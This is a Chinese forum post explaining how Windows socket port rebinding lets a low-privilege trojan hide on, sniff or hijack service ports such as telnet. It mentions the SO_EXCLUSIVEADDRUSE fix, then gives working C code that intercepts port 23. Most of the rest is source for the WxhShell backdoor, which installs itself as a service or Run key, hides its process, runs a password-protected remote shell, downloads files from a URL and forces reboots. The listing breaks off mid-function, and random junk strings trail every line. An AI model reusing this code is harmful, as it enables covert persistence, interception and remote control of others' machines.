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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kK:U+`+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "c+$GS  
& gcZ4 gpH  
  saddr.sin_family = AF_INET; beB3*o  
intl?&wC  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Y h53Z"a  
mbns%%GJU  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ={;7WB$  
e,MgR\F}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 kH`?^ ^_yJ  
H5*#=It  
  这意味着什么?意味着可以进行如下的攻击: aYM~Ub:x{  
8nwps(3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 qkqtPbQ 7  
B$qTH5)W  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) jig3M N  
WF:4p]0~)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +S WtHj7e  
xQl}~G]!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  - ,?LS w  
2.vmZaKP  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Tv6y +l  
_-rC]iQJ55  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 j{D tjV8  
4o"?QV:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  n (|rs  
_%Yi ^^  
  #include `"hWbmQ  
  #include 5nTcd@lX  
  #include ;WAa4r>  
  #include    (UCCEQq5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "$D'gS oYe  
  int main() jo3(\Bq  
  { I@\D tQZ  
  WORD wVersionRequested; 9tb-;|  
  DWORD ret; RR's W@  
  WSADATA wsaData; 78r0K 5=  
  BOOL val; eoXbZ  
  SOCKADDR_IN saddr; S^ D7}  
  SOCKADDR_IN scaddr; Djdd|Z+*{  
  int err; &SNH1b#>E  
  SOCKET s; z`.<dNg  
  SOCKET sc; Ke=+D'=  
  int caddsize; }!?RB v'W  
  HANDLE mt; luyu7`  
  DWORD tid;   9|[uie  
  wVersionRequested = MAKEWORD( 2, 2 ); .<Jv=  
  err = WSAStartup( wVersionRequested, &wsaData ); z"mpw mv5  
  if ( err != 0 ) { ^b}Wl0Fn  
  printf("error!WSAStartup failed!\n"); 3o0ZS^#eB  
  return -1; HVhP |+  
  } S4?WR+:h  
  saddr.sin_family = AF_INET; 0igB pHS  
   L[A?W  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u~2]$ /U  
t%J1(H  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~MXhp5PI   
  saddr.sin_port = htons(23); 8qaU[u&$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9_,f)2)~W  
  { bM5o-U#^ C  
  printf("error!socket failed!\n"); ;<thEWH;Y  
  return -1; k#u)+e.'  
  } O|)b$H_  
  val = TRUE; nm& pn*1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v;U5[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) E/*&'Osq  
  { .Gvk5Wn  
  printf("error!setsockopt failed!\n"); psc Fb$b  
  return -1; ("r:L<xe&  
  } IGT9}24  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &6 <a<S  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \v5;t9uBZ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &"I csxG  
%[s%H)e)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) NdSuOkwwt  
  { b GI){0A  
  ret=GetLastError(); yjMN>L'  
  printf("error!bind failed!\n"); 3 u4Q!U%(D  
  return -1; CaO-aL  
  } { V[}#Mf  
  listen(s,2); "}`)s_rt  
  while(1) z7gX@@T  
  { _MLf58  
  caddsize = sizeof(scaddr); c-}[v<o  
  //接受连接请求 FMI1[|:;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); noL9@It0  
  if(sc!=INVALID_SOCKET) o|xZ?#^h  
  { ,7c Rd}1Y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;RX u}pd  
  if(mt==NULL) `]XI Q\ *  
  { ' h<(  
  printf("Thread Creat Failed!\n"); Qni`k)4  
  break; Iz#4!E|<  
  } 3\Q9>>  
  } z\A ),;  
  CloseHandle(mt); {srxc4R`  
  } 5Gy#$'kdf  
  closesocket(s); kaB4[u  
  WSACleanup(); DyiJ4m}kh  
  return 0; \yFUQq:  
  }   UO@K:n  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,xVAJ6_#  
  {  w:QO@  
  SOCKET ss = (SOCKET)lpParam; ;l0 dx$w  
  SOCKET sc; :op_J!;  
  unsigned char buf[4096]; _ `&l46  
  SOCKADDR_IN saddr; *wj5(B<y  
  long num; O^row1D_  
  DWORD val; j]<K%lwp  
  DWORD ret; %kV7 <:y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Yg3nT:K_Y&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @x+2b0 b  
  saddr.sin_family = AF_INET; ] 2qKc  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); C` ky=  
  saddr.sin_port = htons(23); qrw  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]4en |Aq  
  { ]kTxVe  
  printf("error!socket failed!\n"); Wu/#}Bw#  
  return -1; A8*zB=C  
  } -|uoxj>  
  val = 100; BB(6[V"SV  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QR'#]k;>%  
  { y7fy9jQ 8.  
  ret = GetLastError(); qE8aX*A1/  
  return -1; D4[t^G;J  
  } ($[+dR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >VkBQM-%  
  { diY7<u#  
  ret = GetLastError(); .Lna\Bv  
  return -1; ()l3X.t,$  
  } 3>@VPMi  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q -8G  
  { %NxQb'  
  printf("error!socket connect failed!\n"); ~s'tr&+  
  closesocket(sc); K8&;B)VT>  
  closesocket(ss); ngl +`|u  
  return -1; za@/4z  
  } F9u?+y-xb  
  while(1) ^F+7<$ 2  
  { 2]]v|Z2M4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \xCCJWek  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~! -JN}H m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2.Qz"YDh =  
  num = recv(ss,buf,4096,0); '6 F-%  
  if(num>0) $0E+8xE  
  send(sc,buf,num,0); c_D(%Vf5  
  else if(num==0) hcj}6NXc  
  break; Lr$M k#'B  
  num = recv(sc,buf,4096,0); /D3{EjUE=  
  if(num>0) Ptv'.<-  
  send(ss,buf,num,0); 5o dT\>Sn  
  else if(num==0) LnI  
  break; Sz go@x$^  
  } M}V!;o<t^  
  closesocket(ss); RDp  
  closesocket(sc); 9_?xAJ  
  return 0 ; ZP<<cyY  
  } LZRg%3.E  
-SrZ^  
Kf[d@ L  
========================================================== 67II9\/  
l[38cF  
下边附上一个代码,,WXhSHELL ]]O( IC  
xV)[C )6  
========================================================== 3S:Lce'f  
l4oyF|oJTH  
#include "stdafx.h" E[]5Od5#  
27e!KG[&  
#include <stdio.h> {_O!mI*  
#include <string.h> `OBzOM  
#include <windows.h> 'BjTo*TB]Z  
#include <winsock2.h> ) CP  
#include <winsvc.h> Fz%;_%j  
#include <urlmon.h> "+F'WCJ-(*  
 8s0+6{vW  
#pragma comment (lib, "Ws2_32.lib") JL1ajlm~  
#pragma comment (lib, "urlmon.lib") T }}2J/sj  
z~ cW,  
#define MAX_USER   100 // 最大客户端连接数 9{toPED  
#define BUF_SOCK   200 // sock buffer 69g{oo  
#define KEY_BUFF   255 // 输入 buffer h+FM?ct6}  
#X}HF$t{=  
#define REBOOT     0   // 重启 m+TAaK  
#define SHUTDOWN   1   // 关机 pjWRd_h.  
a#YK1n[!  
#define DEF_PORT   5000 // 监听端口 >NRppPqL  
 )(G9[DG  
#define REG_LEN     16   // 注册表键长度 =*2,^j  
#define SVC_LEN     80   // NT服务名长度 ;A*SuFbV  
@NiuT%#c  
// 从dll定义API .-KI,IU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P8tdT3*6/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -K64J5|b7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h: ' |)O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4Z"}W!A  
3e_tT8  
// wxhshell配置信息 }aZuCe_  
struct WSCFG { C0wtMD:G  
  int ws_port;         // 监听端口 XcVN{6-z  
  char ws_passstr[REG_LEN]; // 口令 j/O~8o&  
  int ws_autoins;       // 安装标记, 1=yes 0=no >t+U`6xK  
  char ws_regname[REG_LEN]; // 注册表键名 -50DGA,K6  
  char ws_svcname[REG_LEN]; // 服务名 zJe KB8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B/twak\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (Rw<1q`,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T8XrmR&?PX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uUH4vUa  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v"USD<   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hsC T:1i  
qX\*l m/l  
}; Pq;OShU_  
QL?_FwZL  
// default Wxhshell configuration M3(N!xT  
struct WSCFG wscfg={DEF_PORT, !J$r|IX5  
    "xuhuanlingzhe", GWA"!~Hu  
    1, b}[S+G-9W  
    "Wxhshell", 1[%3kY-h  
    "Wxhshell", ;*A'2ymXUT  
            "WxhShell Service", 4Yj1Etq.E  
    "Wrsky Windows CmdShell Service", to={q CqU  
    "Please Input Your Password: ", ;J%:DD  
  1,  :Sq] |)  
  "http://www.wrsky.com/wxhshell.exe", 2|nm> 4  
  "Wxhshell.exe" Ds9)e&yYrb  
    }; OM86C  
#@R0$x  
// 消息定义模块 8Q'Emw |  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZT0\V ]!B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; NkZG   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r/YJ,2!  
char *msg_ws_ext="\n\rExit."; O2w-nd74U  
char *msg_ws_end="\n\rQuit."; O'<V[Y} 6  
char *msg_ws_boot="\n\rReboot..."; =rjU=3!&(  
char *msg_ws_poff="\n\rShutdown..."; E/;t6& 6  
char *msg_ws_down="\n\rSave to "; hZ&KE78?  
~k"+5bHa*  
char *msg_ws_err="\n\rErr!"; TEtmmp0OD  
char *msg_ws_ok="\n\rOK!"; WtT;y|W  
E&M(QX5  
char ExeFile[MAX_PATH]; *dl hRa  
int nUser = 0; MpV<E0CmE  
HANDLE handles[MAX_USER]; [!'+}  
int OsIsNt; PL/g| ;  
b^o4Q[  
SERVICE_STATUS       serviceStatus; k<gH*=uXY'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R9J!}az'  
BU`X_Z1)  
// 函数声明 +QChD*  
int Install(void); \J'}CX*aQ  
int Uninstall(void);  :eN&wQ5q  
int DownloadFile(char *sURL, SOCKET wsh); .u-a+ac<  
int Boot(int flag); 0vY_  
void HideProc(void); }EK{UM9y  
int GetOsVer(void); D"7}&Ry:  
int Wxhshell(SOCKET wsl); |RX#5Q>z  
void TalkWithClient(void *cs); ejN/U{)jK'  
int CmdShell(SOCKET sock); s68(jYC7[  
int StartFromService(void); ;mQj2Bwr  
int StartWxhshell(LPSTR lpCmdLine); D,#UJPyg  
RvzZg %)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AwM`[`ReE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Kz HYh  
01cBAu   
// 数据结构和表定义 ?ZF):}r vZ  
SERVICE_TABLE_ENTRY DispatchTable[] = y|`-)fY  
{ GZ%vFje_ K  
{wscfg.ws_svcname, NTServiceMain}, *+M#D^qo  
{NULL, NULL} 6VW *8~~Xy  
}; ;ALWL~Xm  
'uL4ezTtA  
// 自我安装 o[Iu9.zJpy  
int Install(void) HuhQ|~C+~  
{ 4f LRl-)  
  char svExeFile[MAX_PATH]; ">V1II 7  
  HKEY key; c 1YDln  
  strcpy(svExeFile,ExeFile); nY'V,v[F  
Tzq@ic#!B  
// 如果是win9x系统,修改注册表设为自启动 zv]ZEWVzc  
if(!OsIsNt) { g=Xf&}&=x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^rWg:fb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yRXML\Ge  
  RegCloseKey(key); lM-9J?j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rT2Njy1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =?5)M_6)  
  RegCloseKey(key); mx Nd_{n  
  return 0; PTe L3L  
    } '*J+mZtN  
  } Gwd38  
} 6bm7^e(  
else { ee {ToK  
Hw \of  
// 如果是NT以上系统,安装为系统服务 _ *f>UW*,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cBxGGggB  
if (schSCManager!=0) 9q'9i9/3d  
{ 3h7RQ:lUi  
  SC_HANDLE schService = CreateService vJWBr:`L  
  ( (&}[2pb!  
  schSCManager, 4H{t6t@-:  
  wscfg.ws_svcname, ]]j^  
  wscfg.ws_svcdisp, M(X _I`\E  
  SERVICE_ALL_ACCESS, .}==p&(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aTcz5g0"  
  SERVICE_AUTO_START, $1yy;IyR  
  SERVICE_ERROR_NORMAL, ifD WN*k6  
  svExeFile, >wW{ $  
  NULL, ] Lv3XMa  
  NULL, JK$3qUDnI  
  NULL, :nx+(xgw  
  NULL, eF+F"|1h  
  NULL P:{Aq n~zR  
  ); eHr0],  
  if (schService!=0) K(;qd Ir  
  { m23"xnRB  
  CloseServiceHandle(schService); g,,wG k  
  CloseServiceHandle(schSCManager); 2!#g\"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H^d?(Svh  
  strcat(svExeFile,wscfg.ws_svcname); Rqe. =+Qs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v>8.TE~2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M%E<]H2;S  
  RegCloseKey(key); y3~`qq  
  return 0; n0KpKH<&  
    } 5r5on#O&  
  } | 6{JINW  
  CloseServiceHandle(schSCManager); /@\`Ibe  
} Ta\F~$M  
} 3t-STk?  
4X^$"lM  
return 1; {Z2nc)|7C  
} }+@!c%TCx~  
rl}<&aPH  
// 自我卸载 Ar<5UnT  
int Uninstall(void) 6Z|h>H5 a  
{ 7qqzL_d>  
  HKEY key; P!79{8  
|R.yuSL)(  
if(!OsIsNt) { `,}7LfY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t+v %%N_  
  RegDeleteValue(key,wscfg.ws_regname); 3)WfBvG  
  RegCloseKey(key); ."wF86jW|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gwk$<6E  
  RegDeleteValue(key,wscfg.ws_regname); xt|^~~ /  
  RegCloseKey(key); LDQ,SS,  
  return 0; ),yar9C  
  } LK DfV  
} )#i@DHt=  
} +&S 7l%-  
else { x'g4DYl  
d.? }>jl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4x6n,:;  
if (schSCManager!=0) >B6* `3v  
{ uXc;!*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); glLVT i  
  if (schService!=0) iyn9[>j e  
  { R=~%kt_n  
  if(DeleteService(schService)!=0) { x*H#?.E  
  CloseServiceHandle(schService); L2>e@p\>  
  CloseServiceHandle(schSCManager); P<IDb%W  
  return 0; bkd`7(r  
  } \2kLj2!  
  CloseServiceHandle(schService); 9)7$UQY  
  } '^TeV=  
  CloseServiceHandle(schSCManager); HThZ4Kg+  
} di/Q Jrw  
} ;mEn@@{  
Dnd; N/9  
return 1; 1dLc/, |  
} >OaD7  
#_.J kY  
// 从指定url下载文件 Hk*1Wrs*  
int DownloadFile(char *sURL, SOCKET wsh) zjA]Tr  
{ YH\9Je%jx  
  HRESULT hr; y.A3hV%6b  
char seps[]= "/"; >[Vc$[62  
char *token; p=:Vpg<!  
char *file; !hq2AY&H)  
char myURL[MAX_PATH]; nsI+04[F  
char myFILE[MAX_PATH]; XHU$&t`7>g  
|^l_F1+w  
strcpy(myURL,sURL); Qn8xe,  
  token=strtok(myURL,seps); ASHU0v  
  while(token!=NULL) @?<[//1  
  { '$OUe {j<  
    file=token; :m<&Ff}  
  token=strtok(NULL,seps); ^m%#1Zd  
  } t}eyfflZ  
?)1Y|W'Rv  
GetCurrentDirectory(MAX_PATH,myFILE); .yy-jf/  
strcat(myFILE, "\\"); jTR?!Mt0  
strcat(myFILE, file); Mm$\j*f/  
  send(wsh,myFILE,strlen(myFILE),0); \<pr28  
send(wsh,"...",3,0); Y]SF0:v!n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h&i*=&<HP6  
  if(hr==S_OK) U|3!ixk>>w  
return 0; pbAL&}  
else gQr+ ~O  
return 1; ]"_c-=  
H<Sf0>OA  
} L"&T3i  
@N4~|`?U  
// 系统电源模块 wS}c \!@<,  
int Boot(int flag) %(6IaqJ[  
{ >IIq_6Z#  
  HANDLE hToken; ,Iyc0  
  TOKEN_PRIVILEGES tkp; /i"hViCrlG  
G[mqLI{q  
  if(OsIsNt) { W,@ F!8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `xzKRId0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C{bxPILw  
    tkp.PrivilegeCount = 1; 0 SSdp<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NVb}uH*i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OV]xo8a;  
if(flag==REBOOT) { eJo" Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %NQ%6 B  
  return 0; jg?UwR&  
} NwF"Zh5eMW  
else { WRD z*Zf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Qbv@}[f  
  return 0; LWM<[8wJ4  
} c6[m'cy  
  } %k#+nad  
  else { G0 EXgq8  
if(flag==REBOOT) { G^ GIHdo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s^zlBvr|.  
  return 0; t+KW=eW  
} sLA.bp.O  
else { \$_02:#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zls^JTE  
  return 0; ~ =u8H  
} WVeNO,?ytS  
} hA ){>B<;  
FXr^ 4B}  
return 1; 9W=(D|,,  
} 0HWSdf|w  
<Z-Pc?F&(k  
// win9x进程隐藏模块 c \??kQH  
void HideProc(void) 'b.jKkW7  
{ 'f{13-# X@  
QT+kCN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1vo3aF  
  if ( hKernel != NULL ) p-"C^=l  
  { sR/Y v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?>+uO0*S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~a_hOKU5  
    FreeLibrary(hKernel); H}r]j\  
  } OFr"RGW"  
Ou1kSG|kM  
return; o*204BGB  
} Y A,. C4=s  
dlo`](5m  
// 获取操作系统版本 r#WqXh_uk  
int GetOsVer(void) V<WWtu;3  
{ P.>fkO1\  
  OSVERSIONINFO winfo; `mcb0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }$<v  
  GetVersionEx(&winfo); L&+k`b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) # fF5O2E'3  
  return 1; Y"t|0dO%b  
  else GOxP{d?  
  return 0; iY`[dsT  
} ,$!fyi[;C  
EJ {vJZO  
// 客户端句柄模块 nP*DZC0kE&  
int Wxhshell(SOCKET wsl) z2V ->UK)  
{ iJh{ ,0))g  
  SOCKET wsh; )Jvo%Y  
  struct sockaddr_in client; JVg}XwR  
  DWORD myID; k @fxs]Y_L  
roZn{+f  
  while(nUser<MAX_USER) B[mZQ&Gz`a  
{ }{:Jj/d p  
  int nSize=sizeof(client); bo/U5p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B0RVtbK  
  if(wsh==INVALID_SOCKET) return 1; [.l,#-vp  
lre(]oBXA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !JdZ0l  
if(handles[nUser]==0) IHW s<U  
  closesocket(wsh); Z wKX$(n  
else 6-$95.Y2  
  nUser++; -^_^ByJe  
  } 6GAEQ]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @sa_/LH!K  
y+^KVEw  
  return 0; ^VzhjKSu  
} ymrnu-p o  
*pO`sC>  
// 关闭 socket 9[~.{{Y  
void CloseIt(SOCKET wsh) "&qAV'U  
{ a-#$T)mmfj  
closesocket(wsh); E}zGY2Xx  
nUser--; v\(6uej^  
ExitThread(0); !`H!!Kg0L  
} _TdH6[9  
 f^}n#  
// 客户端请求句柄 sOz {spA  
void TalkWithClient(void *cs) 1e9~):C~W  
{ ',+Zqog92  
kg(}%Ih  
  SOCKET wsh=(SOCKET)cs; z2R?GQ5 A  
  char pwd[SVC_LEN]; 6e|uA7i4  
  char cmd[KEY_BUFF]; A]%*ye"NT  
char chr[1]; {qSMJja!t  
int i,j; HOPl0fY$L  
lV./K;\T  
  while (nUser < MAX_USER) { u>] )q7s  
mDt!b6N/  
if(wscfg.ws_passstr) { /ZL6gRRA|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jzp|#*~$E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2.{zf r  
  //ZeroMemory(pwd,KEY_BUFF); ]T40VGJ:h  
      i=0; J}-e9vK-#  
  while(i<SVC_LEN) { DoBQ$Ke p  
UZ-pN_!Z:  
  // 设置超时 =(R3-['QIb  
  fd_set FdRead; \,m*CYs`  
  struct timeval TimeOut; r0OP !u  
  FD_ZERO(&FdRead); jMX+uYx M  
  FD_SET(wsh,&FdRead); S%?%06$  
  TimeOut.tv_sec=8; Wj)v,v2&  
  TimeOut.tv_usec=0; >CcDG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j:8Pcx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vwAhNw2-  
%ol1WG9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rNm_w>bq  
  pwd=chr[0]; 2h@&yW2j  
  if(chr[0]==0xd || chr[0]==0xa) { -U7,~z  
  pwd=0; Rb^G~82d?  
  break; 1=X1<@*  
  } mTL`8hv?  
  i++; oOLj? 0t  
    } j5smmtM`s  
#N"QTD|i  
  // 如果是非法用户,关闭 socket k5}Qx'/l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fC}uIci  
} 150x$~{/  
zTq"kxn'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y34<B)Wy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y!y pG-  
+T,0,^ *  
while(1) { y\:Ma7V  
qd'Z|'j  
  ZeroMemory(cmd,KEY_BUFF); &:}WfY!hX  
M`* BS  
      // 自动支持客户端 telnet标准   |v#rSVx  
  j=0; Da)_OJYE  
  while(j<KEY_BUFF) { G~ 4G$YL*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OeZ"WO  
  cmd[j]=chr[0]; F0kAQgUv  
  if(chr[0]==0xa || chr[0]==0xd) { \nTV;@F  
  cmd[j]=0; UQP>yuSx  
  break; yKz%-6cpSl  
  } g^jTdrW/s  
  j++; ]{t!J^Xn  
    } @ W,<8  
wIWO?w2  
  // 下载文件 g<$2#c}  
  if(strstr(cmd,"http://")) { uA t{WDHm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g`2O h5dA  
  if(DownloadFile(cmd,wsh)) 3m&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4#t-?5"  
  else {([`[7B>a<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2^rJ|Ni  
  } &xt GabNk  
  else { >V\^oh)t]t  
i If?K%M7  
    switch(cmd[0]) { tCw B 7 c-  
  ['K}p24,  
  // 帮助 V&Rwj_Y  
  case '?': { z'"Y+EWN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~Jj~W+h  
    break; @a 7U0$,O#  
  } .2ZFJ.Z"  
  // 安装 U: )Gc  
  case 'i': { (zk/>Ou  
    if(Install()) V"}Jsr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ua=r24fy  
    else 0f'LXn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vF[ 4kDHk  
    break; (I35i!F+tY  
    } #nAq~@X  
  // 卸载 }-u%6KZ   
  case 'r': { ?a1pO#{Dg  
    if(Uninstall()) 7lKatk+7K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }WBHuVcZG  
    else Bx5kqHp^1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  }Fox  
    break; x]3[0K5;  
    } Vobq|Rd/%  
  // 显示 wxhshell 所在路径 ~CdW: t  
  case 'p': { O}}rosA  
    char svExeFile[MAX_PATH]; 2Vw2r@S/  
    strcpy(svExeFile,"\n\r"); $TK= :8HY  
      strcat(svExeFile,ExeFile); 9b@yDq3hQ  
        send(wsh,svExeFile,strlen(svExeFile),0); #l7v|)9v  
    break; )8SWU)/  
    } GJs~aRiz  
  // 重启 sH > zsc  
  case 'b': { JO90TP $  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WJ[>p ELT,  
    if(Boot(REBOOT)) 6E9/ z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1uB$@a\  
    else { ~l*<LXp8  
    closesocket(wsh); A r>BL2@  
    ExitThread(0); g#cet{>  
    } ^Xu4N"@  
    break; !]RSG^%s{  
